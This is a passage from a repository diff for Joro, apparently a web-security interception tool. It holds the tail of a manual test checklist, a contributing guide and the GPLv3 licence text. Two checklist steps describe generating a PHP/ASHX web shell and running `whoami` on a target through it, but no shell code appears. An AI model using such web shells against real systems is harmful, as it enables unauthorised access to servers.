5. Enable Intercept; next request pauses; edit and forward
|
||||
6. Manipulate (HTTP): paste raw, send, verify response + timing
|
||||
7. Manipulate (WS): connect to `wss://echo.websocket.events/`, send text/binary/ping, verify echo, disconnect
|
||||
8. Generate PHP/ASHX shell, verify auth key + content
|
||||
9. Execute: enter target + shell + key, run `whoami`
|
||||
10. Plugins: `./joro --build-plugin examples/plugins/hello-feature --install`, restart, verify load; upload via UI + "Restart Now" + verify
|
||||
@@ -0,0 +1,30 @@
|
||||
Contributing to Joro
|
||||
====================
|
||||
|
||||
Thanks for your interest in contributing. This document describes the expectations for pull requests against this repository.
|
||||
|
||||
## General
|
||||
|
||||
* Contributions to core code must be GPLv3 (but not libraries).
|
||||
* Open a GitHub issue to discuss non-trivial changes before opening a PR.
|
||||
* **Each PR should cover a single change.** Don't bundle multiple features, refactors, or dependency bumps into one pull request - split unrelated work into separate PRs.
|
||||
* Keep pull requests small and focused. Large or sprawling PRs will be asked to split before review.
|
||||
* Prefer building domain-specific features as plugins - see `sdk/sdk.go` and `examples/plugins/` - rather than adding them to core.
|
||||
* Changes should be made in a new branch.
|
||||
* Commits [must be signed](https://docs.github.com/en/github/authenticating-to-github/signing-commits) for any PR to `main`.
|
||||
* Provide meaningful commit messages, and reference the related issue.
|
||||
* `gofmt` your Go code.
|
||||
* Avoid `import "C"` and CGO-wrapped C library dependencies in source code - they hurt cross-compilation and portability. Prefer pure-Go libraries (e.g. `modernc.org/sqlite` over the cgo sqlite driver). This is about source dependencies, not the `CGO_ENABLED` build flag - release binaries are built with `CGO_ENABLED=1` (via `zig cc`) so Go's `plugin` package works on Linux and macOS.
|
||||
* Avoid global variables in internal packages; pass dependencies as parameters.
|
||||
* Do not call `os.Exit` outside `main.go`; errors should always be handled cleanly.
|
||||
* Frontend changes must use semantic Tailwind classes from the theme system (see `CLAUDE.md`).
|
||||
* New dependencies need a short justification in the PR description.
|
||||
* Any changes under `third_party/` should be in a distinct commit.
|
||||
* There is no automated test suite yet; include a short manual verification note in the PR description, and a screenshot for UI changes.
|
||||
|
||||
## Security
|
||||
|
||||
* _Never_ trust the user, applied in a common-sense way.
|
||||
* __Secure by default__ - prefer failing closed over operating in an insecure state.
|
||||
* _Never_ use homegrown or non-peer-reviewed cryptography or random number generation.
|
||||
* Report vulnerabilities privately via the GitHub advisory link in [`SECURITY.md`](SECURITY.md) - not public issues.
|
||||
@@ -0,0 +1,674 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
